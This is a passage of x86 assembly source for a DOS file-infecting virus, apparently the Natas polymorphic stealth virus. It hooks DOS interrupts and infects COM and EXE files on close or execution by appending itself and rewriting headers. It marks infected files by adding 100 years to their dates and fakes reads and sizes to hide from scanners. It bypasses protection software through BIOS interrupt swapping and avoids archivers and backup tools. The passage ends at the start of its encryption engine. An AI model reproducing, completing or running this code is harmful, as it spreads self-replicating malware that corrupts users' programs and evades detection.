  857.                 add     dh,years                ; dont erase marker
  858. get_date:       call    is_specialfile          ; do not hide date for
  859.                                                 ; helpers
  860.                 je      date_err
  861.                 call    call_21_file            ; get/set date
  862.                 jnc     date_check
  863. date_err:       jmp     jump_21
  864.  
  865. date_check:     cmp     dh,years                ; infected?
  866.                 jb      date_ok
  867.                 sub     dh,years
  868. date_ok:        clc
  869.                 call    save_returns            ; save ax/flags
  870.                 mov     ss:[bp.reg_cx],cx
  871.                 mov     ss:[bp.reg_dx],dx       ; save time/date
  872.                 jmp     retf_21
  873.                 
  874. is_read:        cmp     ah,3fh                  ; reading file?
  875.                 je      do_read
  876. no_read:        jmp     is_write
  877.  
  878. do_read:        call    get_dcb                 ; get DCB address
  879.                 jbe     no_read
  880.                 call    is_specialfile
  881.                 je      no_read
  882.                 les     ax,ds:[di.dcb_size]     ; get size of file                                
  883.                 mov     bx,es
  884.                 les     dx,ds:[di.dcb_pos]      ; get current position
  885.                 mov     si,es
  886.                 and     cs:read_bytes,0
  887.                 or      si,si                   ; in 1st 64k?
  888.                 jnz     read_high
  889.                 cmp     dx,18h                  ; reading header?
  890.                 jnb     read_high
  891.                 push    cx
  892.                 add     cx,dx
  893.                 cmc
  894.                 jnc     read_above
  895.                 cmp     cx,18h                  ; read goes above header?
  896. read_above:     pop     cx
  897.                 jb      read_below
  898.                 mov     cx,18h
  899.                 sub     cx,dx
  900. read_below:     push    ax bx                   ; save size
  901.                 push    dx                      ; position
  902.                 sub     dx,18h
  903.                 add     ax,dx                   ; get position in header
  904.                 cmc
  905.                 sbb     bx,si
  906.                 xchg    word ptr ds:[di.dcb_pos],ax
  907.                 xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
  908.                 push    ax bx
  909.                 push    ds
  910.                 mov     ah,3fh                
  911.                 mov     dx,ss:[bp.reg_dx]
  912.                 mov     ds,ss:[bp.reg_ds]
  913.                 call    call_21_file            ; read file
  914.                 pop     ds
  915.                 pop     word ptr ds:[di.dcb_pos+2]
  916.                 pop     word ptr ds:[di.dcb_pos]
  917.                 pop     dx
  918.                 pushf
  919.                 add     dx,ax                   ; adjust position
  920.                 add     cs:read_bytes,ax        ; remember # of bytes read
  921.                 popf
  922.                 pop     bx ax
  923.                 jnc     read_high
  924.                 jmp     jump_21
  925.  
  926. read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
  927.                 mov     word ptr ds:[di.dcb_pos+2],si
  928.                 mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
  929.                 sub     cx,cs:read_bytes
  930.                 sub     ax,file_size
  931.                 sbb     bx,0                    ; get original size
  932.                 push    ax bx
  933.                 sub     ax,dx
  934.                 sbb     bx,si                   ; in virus now?
  935.                 pop     bx ax
  936.                 jnc     read_into
  937.                 xor     cx,cx                   ; read 0 bytes
  938.                 jmp     read_fake
  939.  
  940. read_into:      add     dx,cx
  941.                 adc     si,0                    ; get position after read
  942.                 cmp     bx,si                   ; read extends into virus?
  943.                 ja      read_fake
  944.                 jb      read_adjust
  945.                 cmp     ax,dx
  946.                 jnb     read_fake
  947. read_adjust:    sub     dx,cx                   ; get position again
  948.                 xchg    cx,ax
  949.                 sub     cx,dx   ; # of bytes to read = Original size - Pos
  950. read_fake:      mov     ah,3fh
  951.                 mov     dx,ss:[bp.reg_dx]
  952.                 add     dx,cs:read_bytes
  953.                 mov     ds,ss:[bp.reg_ds]
  954.                 call    call_21_file            ; read file
  955.                 jc      read_exit
  956.                 add     ax,0
  957. read_bytes      =       word ptr $ - 2
  958.                 clc
  959. read_exit:      call    save_returns
  960.                 jmp     retf_21
  961.                 
  962.  
  963. is_write:       cmp     ah,40h                  ; write?
  964.                 je      do_write
  965. no_write:       jmp     is_infect
  966.  
  967. do_write:       call    get_dcb
  968.                 jbe     no_write
  969.                 les     ax,ds:[di.dcb_size]     ; get file size
  970.                 mov     bx,es
  971.                 sub     ax,18h
  972.                 sbb     bx,0                    ; get header position
  973.                 xchg    ax,word ptr ds:[di.dcb_pos]
  974.                 xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
  975.                 push    ax bx
  976.                 mov     ax,2
  977.                 xchg    ax,ds:[di.dcb_mode]     ; read/write mode
  978.                 push    ax
  979.                 push    ds cs
  980.                 pop     ds es
  981.                 call    read_header             ; read 18h bytes
  982.                 pop     es:[di.dcb_mode]        ; restore access mode
  983.                 jc      write_rest_pos
  984.                 mov     word ptr es:[di.dcb_pos],ax
  985.                 mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
  986.                 call    write_header                  ; write old header
  987.                 jc      write_rest_pos
  988.                 push    es
  989.                 pop     ds
  990.                 sub     word ptr ds:[di.dcb_size],file_size
  991.                 sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
  992.                 sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
  993. write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
  994.                 pop     word ptr es:[di.dcb_pos]
  995.                 jmp     jump_21
  996.  
  997.  
  998. is_infect:      cmp     ah,3eh                  ; Close?
  999.                 je      infect_3e
  1000.                 cmp     ax,4b00h                ; Execute?
  1001.                 je      infect_4b
  1002.                 jmp     jump_21
  1003.  
  1004. infect_4b:      mov     ax,3d00h                ; Open file
  1005.                 cmp     ax,0
  1006.                 org     $ - 2
  1007. infect_3e:      mov     ah,45h                  ; Duplicate handle
  1008.                 call    int_2_bios              ; lock out protection programs
  1009.                 call    call_21_file            ; get handle
  1010.                 mov     cs:handle,ax
  1011.                 mov     ax,4408h
  1012.                 cwd
  1013.                 jc      undo_bios
  1014.                 call    get_dcb                 ; get DCB for handle
  1015.                 jb      cant_infect
  1016.                 jne     cant_infect             ; error/already infected
  1017.                 mov     bl,00111111b
  1018.                 and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
  1019.                 mov     dl,bl                   ; DX=00**
  1020.                 inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
  1021.                 call    call_21                 ; drive removable?
  1022.                 mov     cx,1h
  1023.                 push    cs
  1024.                 pop     es
  1025.                 jc      test_prot_drive
  1026.                 dec     ax                      ; 1=non-removable
  1027.                 jz      no_protect
  1028.                 jmp     test_protect
  1029.  
  1030. test_prot_drive:cmp     dl,1                    ; A or B?
  1031.                 ja      no_protect
  1032. test_protect:   mov     ax,201h
  1033.                 mov     bx,offset disk_buff
  1034.                 int     13h                     ; read sector
  1035.                 jc      cant_infect
  1036.                 mov     ax,301h
  1037.                 int     13h                     ; write it back
  1038.                 jc      cant_infect
  1039. no_protect:     inc     cx                      ; CX=2
  1040.                 xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
  1041.                 push    cx
  1042.                 xor     ax,ax
  1043.                 xchg    ah,ds:[di.dcb_attr]     ; attribute=0
  1044.                 test    ah,00000100b            ; system file?
  1045.                 push    ax
  1046.                 jne     cant_system
  1047.                 cbw
  1048.                 cwd
  1049.                 xchg    ax,word ptr ds:[di.dcb_pos]
  1050.                 xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
  1051.                 push    ax dx
  1052.                 mov     bp,-'OC'
  1053.                 add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
  1054.                 jnz     not_com
  1055.                 mov     bp,-'MO'
  1056.                 add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
  1057. not_com:        call    infect
  1058.                 pushf
  1059.                 call    get_dcb
  1060.                 popf
  1061.                 jc      not_infected
  1062.                 add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
  1063. not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
  1064.                 pop     word ptr ds:[di.dcb_pos+2]
  1065.                 pop     word ptr ds:[di.dcb_pos]
  1066. cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
  1067.                 pop     ds:[di.dcb_mode]        ; restore access mode
  1068. cant_infect:    mov     ah,3eh
  1069.                 call    call_21_file            ; close file
  1070. undo_bios:      call    int_2_bios              ; restore interrupts
  1071.                 
  1072. ;=====( Jump on to int 21h )=================================================;
  1073.  
  1074. jump_21:        call    undo_24                 ; unhook int 24h
  1075.                 push    cs
  1076.                 pop     ds
  1077.                 mov     al,1h
  1078.                 mov     di,offset int_1
  1079.                 cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
  1080.                 jne     jump_21_1
  1081.                 call    get_int                 ; get int 1h address
  1082.                 mov     ds:[di],bx
  1083.                 mov     ds:[di + 2],es
  1084.                 mov     byte ptr ds:[di+inst_count-int_1],5
  1085.                 mov     ds:trace_mode,step_21
  1086.                 mov     dx,offset tracer
  1087.                 call    set_int                 ; hook int 1h
  1088.                 call    pop_all
  1089.                 push    si
  1090.                 pushf
  1091.                 pop     si
  1092.                 call    si_tf                   ; set TF
  1093.                 pop     si
  1094. go_21:          cli
  1095.                 mov     ss,cs:int_21_ss
  1096.                 mov     sp,cs:int_21_sp         ; restore stack
  1097.                 sti
  1098. go_2_21:        jmp     cs:int_21
  1099.                 
  1100. jump_21_1:      call    pop_all
  1101.                 jmp     go_21
  1102.  
  1103. ;=====( actual infection routine )===========================================;
  1104.  
  1105. infect:         push    cs
  1106.                 pop     ds
  1107.                 call    read_header             ; read first 18h bytes
  1108.                 jc      inf_bad_file
  1109.                 mov     si,dx
  1110.                 mov     di,offset work_header
  1111.                 cld
  1112.                 rep     movsb                   ; copy header to work_header
  1113.                 call    get_dcb
  1114.                 les     ax,ds:[di.dcb_size]     ; get file size
  1115.                 mov     dx,es
  1116.                 mov     word ptr ds:[di.dcb_pos],ax
  1117.                 mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
  1118.                 push    cs cs
  1119.                 pop     es ds
  1120.                 mov     cx,ds:[si]              ; get first 2 bytes
  1121.                 cmp     cx,'MZ'                 ; .EXE file?
  1122.                 je      inf_exe
  1123.                 cmp     cx,'ZM'                 ; .EXE file?
  1124.                 je      inf_exe
  1125.                 or      dx,bp                   ; COM file and < 64k?
  1126.                 jnz     inf_bad_file
  1127.                 cmp     ax,0-(file_size+100)
  1128.                 ja      inf_bad_file
  1129.                 cmp     ax,1000
  1130.                 jb      inf_bad_file
  1131.                 mov     byte ptr ds:[si],0e9h   ; build jump
  1132.                 inc     ah                      ; Add PSP size (100h)
  1133.                 push    ax                      ; save IP for engine
  1134.                 add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
  1135.                 mov     ds:[si+1],ax
  1136.                 jmp     append_vir
  1137.  
  1138. inf_bad_file:   stc
  1139.                 retn
  1140.  
  1141. inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
  1142.                 jne     inf_bad_file
  1143.                 mov     bp,ax
  1144.                 mov     di,dx                   ; save size in DI:BP
  1145.                 mov     cx,200h
  1146.                 div     cx                      ; divide into pages
  1147.                 or      dx,dx                   ; Any remainder?
  1148.                 jz      no_round
  1149.                 inc     ax
  1150. no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
  1151.                 jne     inf_bad_file
  1152.                 sub     dx,ds:[si.eh_modulo]
  1153.                 jne     inf_bad_file
  1154.                 mov     ax,file_size            ; virus size
  1155.                 add     ax,bp
  1156.                 adc     dx,di                   ; + program size
  1157.                 div     cx                      ; / 512
  1158.                 or      dx,dx                   ; round up?
  1159.                 jz      no_round1
  1160.                 inc     ax
  1161. no_round1:      mov     ds:[si.eh_size],ax
  1162.                 mov     ds:[si.eh_modulo],dx    ; set new size
  1163.                 mov     bx,0-(file_size+1000)
  1164.                 xor     cx,cx
  1165. get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
  1166.                                                 ; cross segments
  1167.                 jb      got_exe_ip
  1168.                 sub     bp,10h                  ; down 10h bytes
  1169.                 loop    get_exe_ip              ; up 1 paragraph
  1170. got_exe_ip:     cmp     di,0fh
  1171.                 ja      inf_bad_file
  1172.                 xchg    cx,ax
  1173.                 mov     cl,4
  1174.                 ror     di,cl                   ; get segment displacement
  1175.                 or      ax,ax
  1176.                 jz      no_para_add
  1177.                 sub     di,ax                   ; Add segments from LOOP
  1178.                 jnc     inf_bad_file
  1179. no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
  1180.                                                 ; paragraphs
  1181.                 push    bp                      ; save offset of v_start
  1182.                 add     bp,decrypt-v_start
  1183.                 mov     ds:[si.eh_ip],bp        ; set IP
  1184.                 mov     ds:[si.eh_cs],di        ; set CS
  1185.                 add     bp,512                  ; 512 bytes of stack
  1186.                 mov     ds:[si.eh_sp],bp        ; set SP
  1187.                 mov     ds:[si.eh_ss],di        ; set SS
  1188.                 mov     bp,8000h                ; Tell engine "Exe file"
  1189.                 sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
  1190.                 mov     ax,ds:[si.eh_min_mem]
  1191.                 sub     ax,bx                   ; add file_size+1000h/16
  1192.                 jnb     append_vir
  1193.                 mov     ds:[si.eh_min_mem],ax
  1194.  
  1195. append_vir:     pop     ax
  1196.                 call    engine                  ; encrypt/write/decrypt
  1197.                 push    bp             
  1198.                 popf
  1199.                 jc      append_vir_err
  1200.                 call    get_dcb
  1201.                 mov     word ptr ds:[di.dcb_pos],cx
  1202.                 mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
  1203.                 mov     ah,40h
  1204.                 mov     dx,offset work_header
  1205.                 push    cs
  1206.                 pop     ds
  1207.                 call    header_op               ; write new header to file
  1208. append_vir_err: retn
  1209.                 
  1210. ;=====( Get DCB address for file )===========================================;
  1211.  
  1212. get_dcb:        push    ax bx 
  1213.                 mov     ax,1220h
  1214.                 mov     bx,cs:handle            ; get file handle
  1215.                 int     2fh                     ; get DCB number address
  1216.                 jc      get_dcb_fail
  1217.                 mov     ax,1216h
  1218.                 mov     bl,es:[di]              ; get DCB number
  1219.                 cmp     bl,-1                   ; Handle Openned?
  1220.                 cmc
  1221.                 je      get_dcb_fail
  1222.                 int     2fh                     ; get DCB address
  1223.                 jc      get_dcb_fail
  1224.                 push    es
  1225.                 pop     ds
  1226.                 test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
  1227.                 cmc
  1228.                 jne     get_dcb_fail
  1229.                 test    byte ptr ds:[di.dcb_date+1],80h ; infected?
  1230. get_dcb_fail:   pop     bx ax               
  1231.                 retn
  1232.  
  1233. ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
  1234.  
  1235. int_2_bios:     push    ax bx dx ds
  1236.                 mov     al,13h                  ; int 13h
  1237.                 mov     di,offset int_13
  1238. int_2_bios_lp:  push    cs
  1239.                 pop     ds
  1240.                 call    get_int                 ; get int address               
  1241.                 mov     dx,es
  1242.                 xchg    bx,ds:[di]              ; swap offsets
  1243.                 cld
  1244.                 scasw
  1245.                 xchg    dx,bx
  1246.                 xchg    bx,ds:[di]              ; swap segments
  1247.                 scasw
  1248.                 mov     ds,bx                   ; DS:DX=new address
  1249.                 call    set_int                 ; set int to DS:DX
  1250.                 cmp     al,15h                  
  1251.                 mov     al,15h
  1252.                 jnb     int_2_bios_40           ; CY AL=13h
  1253.                 add     di,4
  1254.                 jmp     int_2_bios_lp
  1255.  
  1256. int_2_bios_40:  mov     al,40h
  1257.                 je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
  1258.                 pop     ds dx bx ax
  1259.                 retn
  1260.  
  1261. ;=====( Read/write header to file )==========================================;
  1262.  
  1263. read_header:    mov     ah,3fh
  1264.                 cmp     ax,0
  1265.                 org     $ - 2
  1266. write_header:   mov     ah,40h
  1267.                 mov     dx,offset header
  1268. header_op:      mov     cx,18h
  1269.                 call    call_21_file             ; read/write header
  1270.                 jc      read_write_err
  1271.                 sub     ax,cx
  1272. read_write_err: retn
  1273.  
  1274. ;=====( Unhook int 24h )=====================================================;
  1275.  
  1276. undo_24:        mov     al,24h
  1277.                 lds     dx,cs:int_24
  1278.                 call    set_int                 ; unhook int 24h
  1279.                 in      al,21h
  1280.                 and     al,not 2                ; enable keyboard
  1281.                 out     21h,al
  1282.                 retn
  1283.  
  1284. ;=====( Save returns after int 21h call )====================================;
  1285.  
  1286. save_returns:   mov     ss:[bp.reg_ax],ax
  1287.                 pushf
  1288.                 pop     ss:[bp.reg_f]
  1289.                 retn
  1290.  
  1291. ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
  1292.  
  1293. is_specialfile: push    ax cx si di es
  1294.                 mov     al,0
  1295. check_special   =       byte ptr $ - 1
  1296.                 or      al,al                   ; Check for special?
  1297.                 jnz     it_is_special
  1298.                 call    get_psp                 ; get MCB of current PSP
  1299.                 mov     ax,es:[di]              ; get 1st 2 letters of name
  1300.                 cmp     ax,'RA'                 ; ARj?
  1301.                 je      it_is_special
  1302.                 cmp     ax,'HL'                 ; LHa?
  1303.                 je      it_is_special
  1304.                 cmp     ax,'KP'                 ; PKzip?
  1305.                 je      it_is_special
  1306.                 mov     cx,2
  1307.                 mov     si,offset backup
  1308. is_it_mod_bak:  push    cx di
  1309.                 mov     cl,8
  1310.                 lods    byte ptr cs:[si]        ; get 'B' or 'M'
  1311.                 xor     al,66h + 6h             ; decrypt
  1312.                 repne   scasb
  1313.                 jne     is_it_mod
  1314.                 cmp     cl,3
  1315.                 jb      is_it_mod
  1316.                 mov     cl,4
  1317. is_ode_ack:     lods    byte ptr cs:[si]
  1318.                 xor     al,66h + 6h
  1319.                 jz      is_it_mod               ; 0 (done)?
  1320.                 scasb
  1321.                 loope   is_ode_ack
  1322. is_it_mod:      mov     si,offset modem
  1323.                 pop     di cx
  1324.                 loopne  is_it_mod_bak
  1325. it_is_special:  pop     es di si cx ax
  1326.                 retn
  1327.  
  1328. backup:         db      'B' xor (66h + 6h) 
  1329.                 db      'A' xor (66h + 6h)
  1330.                 db      'C' xor (66h + 6h)
  1331.                 db      'K' xor (66h + 6h)
  1332.                 db      0   xor (66h + 6h)
  1333.  
  1334. modem:          db      'M' xor (66h + 6h)
  1335.                 db      'O' xor (66h + 6h)
  1336.                 db      'D' xor (66h + 6h)
  1337.                 db      'E' xor (66h + 6h)
  1338.                 db      'M' xor (66h + 6h)
  1339.  
  1340.  
  1341. ;=====( get current PSP segment )============================================;
  1342.  
  1343. get_psp:        push    ax bx
  1344.                 mov     ah,62h
  1345.                 call    call_21                 ; get PSP segment
  1346.                 dec     bx
  1347.                 mov     es,bx                   ; MCB of current program
  1348.                 mov     di,8h                   ; offset of file name
  1349.                 cld
  1350.                 pop     bx ax
  1351.                 retn
  1352.                 
  1353. ;=====( Get DTA address )====================================================;
  1354.  
  1355. get_dta:        mov     ah,2fh
  1356.                 call    call_21                 ; DTA address into ES:BX
  1357.                 push    es
  1358.                 pop     ds
  1359.                 retn
  1360.  
  1361. call_dos_13:    call    swap_13
  1362.                 pushf
  1363.                 call    cs:dos_13
  1364.                 call    swap_13
  1365.                 retn
  1366.  
  1367. call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
  1368.                 je      call_40
  1369.  
  1370. call_13:        pushf
  1371.                 call    cs:int_13
  1372.                 retn
  1373.  
  1374. call_21_file:   mov     bx,0
  1375. handle          =       word ptr $ - 2
  1376.  
  1377. call_21:        pushf
  1378.                 push    cs
  1379.                 call    go_2_21
  1380.                 retn
  1381.  
  1382. call_40:        pushf
  1383.                 call    cs:int_40
  1384.                 retn
  1385.  
  1386. include eng.asm
  1387.  
  1388.                 db      "Natas",0
  1389.  
  1390. even
  1391.  
  1392. decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
  1393.                 mov     byte ptr ds:[102h],0e8h         ; CALL
  1394.                 jmp     file_start
  1395.                 
  1396.                 org     decrypt + 150
  1397.  
  1398. header          dw      18h / 2 dup(20cdh)
  1399.  
  1400. file_end:
  1401.  
  1402. work_header     dw      18h / 2 dup(?)
  1403.                 
  1404. write_buff:     db      encode_end-encode dup(?)
  1405.  
  1406. int_21_ss       dw      ?
  1407. int_21_sp       dw      ?
  1408.  
  1409.                 dw      256 / 2 dup(?)
  1410. temp_stack:            
  1411.  
  1412. jump_code_13    db      5 dup(?)
  1413. jump_code_21    db      5 dup(?)
  1414.  
  1415. int_1           dd      ?
  1416. int_24          dd      ?
  1417.  
  1418. int_13          dd      ?
  1419. dos_13          dd      ?
  1420. int_15          dd      ?
  1421. int_40          dd      ?
  1422. int_21          dd      ?
  1423.  
  1424. new_24:         db      3 dup(?)
  1425.  
  1426. push_pop_ret    dw      ?
  1427.  
  1428. pointer         dw      ?
  1429. disp            dw      ?
  1430. encode_ptr      dw      ?
  1431. encode_enc_ptr  dw      ?
  1432.  
  1433. key_reg         db      ?
  1434. count_reg       db      ?
  1435. ptr_reg         db      ?
  1436. ptr_reg1        db      ?
  1437. modify_op       db      ?
  1438.  
  1439.  
  1440. origin          db      ?
  1441. inst_count      db      ?
  1442.  
  1443. disk_buff       db      512 dup(?)
  1444.  
  1445. v_end:
  1446.  
  1447.  
  1448. ;=====( Very useful structures )=============================================;
  1449.  
  1450.  
  1451.  
  1452. ;=====( Memory Control Block structure )=====================================;
  1453.  
  1454. mcb             struc
  1455. mcb_sig         db      ?               ; 'Z' or 'M'
  1456. mcb_owner       dw      ?               ; attribute of owner
  1457. mcb_size        dw      ?               ; size of mcb block
  1458. mcb_name        db      8 dup(?)        ; file name of owner
  1459. mcb             ends
  1460.  
  1461.  
  1462. ;=====( For functions 11h and 12h )==========================================;
  1463.  
  1464.  
  1465. Directory       STRUC
  1466. DS_Drive        db ?
  1467. DS_Name         db 8 dup(0)
  1468. DS_Ext          db 3 dup(0)
  1469. DS_Attr         db ?
  1470. DS_Reserved     db 10 dup(0)
  1471. DS_Time         dw ?
  1472. DS_Date         dw ?
  1473. DS_Start_Clust  dw ?
  1474. DS_Size         dd ?
  1475. Directory       ENDS
  1476.  
  1477.  
  1478. ;=====( for functions 4eh and 4fh )==========================================;
  1479.  
  1480.  
  1481. DTA             STRUC
  1482. DTA_Reserved    db 21 dup(0)
  1483. DTA_Attr        db ?
  1484. DTA_Time        dw ?
  1485. DTA_Date        dw ?
  1486. DTA_Size        dd ?
  1487. DTA_Name        db 13 dup(0)
  1488. DTA             ENDS
  1489.  
  1490.  
  1491. Exe_Header      STRUC
  1492. EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
  1493. EH_Modulo       dw ?                    ; remainder of file size/512
  1494. EH_Size         dw ?                    ; file size/512
  1495. EH_Reloc        dw ?                    ; Number of relocation items
  1496. EH_Size_Header  dw ?                    ; Size of header in paragraphs
  1497. EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
  1498. EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
  1499. EH_SS           dw ?                    ; Stack segment displacement
  1500. EH_SP           dw ?                    ; Stack Pointer
  1501. EH_Checksum     dw ?                    ; Checksum, not used
  1502. EH_IP           dw ?                    ; Instruction Pointer of Exe file
  1503. EH_CS           dw ?                    ; Code segment displacement of .exe
  1504. eh_1st_reloc    dw      ?               ; first relocation item
  1505. eh_ovl          dw      ?               ; overlay number
  1506. Exe_Header      ENDS                      
  1507.  
  1508. Boot_Sector             STRUC
  1509. bs_Jump                 db 3 dup(?)
  1510. bs_Oem_Name             db 8 dup(?)
  1511. bs_Bytes_Per_Sector     dw ?
  1512. bs_Sectors_Per_Cluster  db ?
  1513. bs_Reserved_Sectors     dw ?               
  1514. bs_FATs                 db ?             ; Number of FATs
  1515. bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
  1516. bs_Sectors              dw ?             ; number of sectors; small
  1517. bs_Media                db ?             ; Media descriptor byte
  1518. bs_Sectors_Per_FAT      dw ?
  1519. bs_Sectors_Per_Track    dw ?               
  1520. bs_Heads                dw ?             ; number of heads
  1521. bs_Hidden_Sectors       dd ?
  1522. bs_Huge_Sectors         dd ?             ; number of sectors; large
  1523. bs_Drive_Number         db ?
  1524. bs_Reserved             db ?
  1525. bs_Boot_Signature       db ?
  1526. bs_Volume_ID            dd ?
  1527. bs_Volume_Label         db 11 dup(?)
  1528. bs_File_System_Type     db 8 dup(?)
  1529. Boot_Sector             ENDS
  1530.                 
  1531.                 
  1532. Partition_Table         STRUC
  1533. pt_Code                 db 1beh dup(?)  ; partition table code
  1534. pt_Status               db ?            ; 0=non-bootable 80h=bootable
  1535. pt_Start_Head           db ?            
  1536. pt_Start_Sector_Track   dw ?
  1537. pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
  1538. pt_End_Head             db ?
  1539. pt_End_Sector_Track     dw ?
  1540. pt_Starting_Abs_Sector  dd ?
  1541. pt_Number_Sectors       dd ?
  1542. Partition_Table         ENDS
  1543.  
  1544.  
  1545. int_1_stack     STRUC
  1546. st_ip           dw ?                    ; offset of next instruction after
  1547.                                         ; interrupt
  1548. st_cs           dw ?                    ; segment of next instruction
  1549. st_flags        dw ?                    ; flags when interrupt was called
  1550. int_1_stack     ENDS
  1551.  
  1552. ;----------------------------------------------------------------------------;
  1553. ;               Dcb description for DOS 3+                                   ;   
  1554. ;                                                                            ;
  1555. ;      Offset  Size    Description                                           ;
  1556. ;       00h    WORD    number of file handles referring to this file         ;
  1557. ;       02h    WORD    file open mode (see AH=3Dh)                           ;
  1558. ;              bit 15 set if this file opened via FCB                        ;
  1559. ;       04h    BYTE    file attribute                                        ;
  1560. ;       05h    WORD    device info word (see AX=4400h)                       ;
  1561. ;       07h    DWORD   pointer to device driver header if character device   ;
  1562. ;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
  1563. ;       0Bh    WORD    starting cluster of file                              ;
  1564. ;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
  1565. ;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
  1566. ;       11h    DWORD   file size                                             ;
  1567. ;       15h    DWORD   current offset in file                                ;
  1568. ;       19h    WORD    relative cluster within file of last cluster accessed ;
  1569. ;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
  1570. ;              0000h if file never read or written???                        ;
  1571. ;       1Dh    WORD    number of sector containing directory entry           ;
  1572. ;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
  1573. ;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
  1574. ;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
  1575. ;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
  1576. ;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
  1577. ;       33h    WORD    offset within SHARE.EXE code segment of               ;
  1578. ;              sharing record (see below)  0000h = none                      ;
  1579. ;----------------------------------------------------------------------------;                                                                            
  1580.  
  1581.  
  1582.  
  1583. dcb             struc
  1584. dcb_users       dw      ?
  1585. dcb_mode        dw      ?
  1586. dcb_attr        db      ?
  1587. dcb_dev_attr    dw      ?
  1588. dcb_drv_addr    dd      ?
  1589. dcb_1st_clst    dw      ?
  1590. dcb_time        dw      ?
  1591. dcb_date        dw      ?
  1592. dcb_size        dd      ?
  1593. dcb_pos         dd      ?
  1594. dcb_last_clst   dw      ?
  1595. dcb_current_clst dw     ?
  1596. dcb_dir_sec     dw      ?
  1597. dcb_dir_entry   db      ?
  1598. dcb_name        db      8 dup(?)
  1599. dcb_ext         db      3 dup(?)
  1600. dcb_useless1    dw      ?
  1601. dcb_useless2    dw      ?
  1602. dcb_useless3    dw      ?
  1603. dcb_psp_seg     dw      ?
  1604. dcb_useless4    dw      ?
  1605. dcb             ends
  1606.  
  1607. bpb                     STRUC
  1608. bpb_Bytes_Per_Sec       dw ?
  1609. bpb_Sec_Per_Clust       db ?
  1610. bpb_Reserved_Sectors    dw ?               
  1611. bpb_FATs                db ?             ; Number of FATs
  1612. bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
  1613. bpb_Sectors             dw ?             ; number of sectors; small
  1614. bpb_Media               db ?             ; Media descriptor byte
  1615. bpb_Sectors_Per_FAT     dw ?
  1616. bpb_Sectors_Per_Track   dw ?               
  1617. bpb_Heads               dw ?             ; number of heads
  1618. bpb_Hidden_Sectors      dd ?
  1619. bpb_Huge_Sectors        dd ?             ; number of sectors; large
  1620. bpb_Drive_Number        db ?
  1621. bpb_Reserved            db ?
  1622. bpb_Boot_Signature      db ?
  1623. bpb_Volume_ID           dd ?
  1624. bpb_Volume_Label        db 11 dup(?)
  1625. bpb_File_System_Type    db 8 dup(?)
  1626. bpb                     ENDS
  1627.  
  1628.  
  1629. register        struc
  1630. reg_es          dw      ?
  1631. reg_ds          dw      ?
  1632. reg_di          dw      ?
  1633. reg_si          dw      ?
  1634. reg_bp          dw      ?
  1635. reg_dx          dw      ?
  1636. reg_cx          dw      ?
  1637. reg_bx          dw      ?
  1638. reg_ax          dw      ?
  1639. reg_f           dw      ?
  1640. register        ends
  1641.  
  1642. sys_file        struc
  1643. sys_next        dd      ?
  1644. sys_strat       dw      ?
  1645. sys_int         dw      ?
  1646. sys_file        ends
  1647.                 
  1648.                 
  1649.                 end
  1650. -----------------------------<<eng.asm>>---------------------------------------
  1651.  
  1652. _ax             equ     0
  1653. _cx             equ     1
  1654. _dx             equ     2
  1655. _bx             equ     3
  1656. _sp             equ     4
  1657. _bp             equ     5
  1658. _si             equ     6
  1659. _di             equ     7
  1660.  
  1661.                 
  1662. engine:         mov     ds:pointer,ax           ; save IP
  1663.                 mov     di,offset decrypt
  1664.                 mov     bx,offset make_count
  1665.                 mov     cx,offset make_key
  1666.                 mov     dx,offset make_ptr
  1667.                 mov     si,offset order_ret
  1668.                 or      bp,11101111b            ; SP is used
  1669.                 call    order                   ; randomize and call registers
  1670.                 push    di                      ; save start of loop
  1671.                 push    di
  1672.                 mov     si,offset encode
  1673.                 mov     di,offset write_buff
  1674.                 mov     cx,encode_end-encode
  1675.                 rep     movsb                   ; copy write code
  1676.                 mov     ds:encode_ptr,offset (encode_break-encode)+write_buff
  1677.                 pop     di
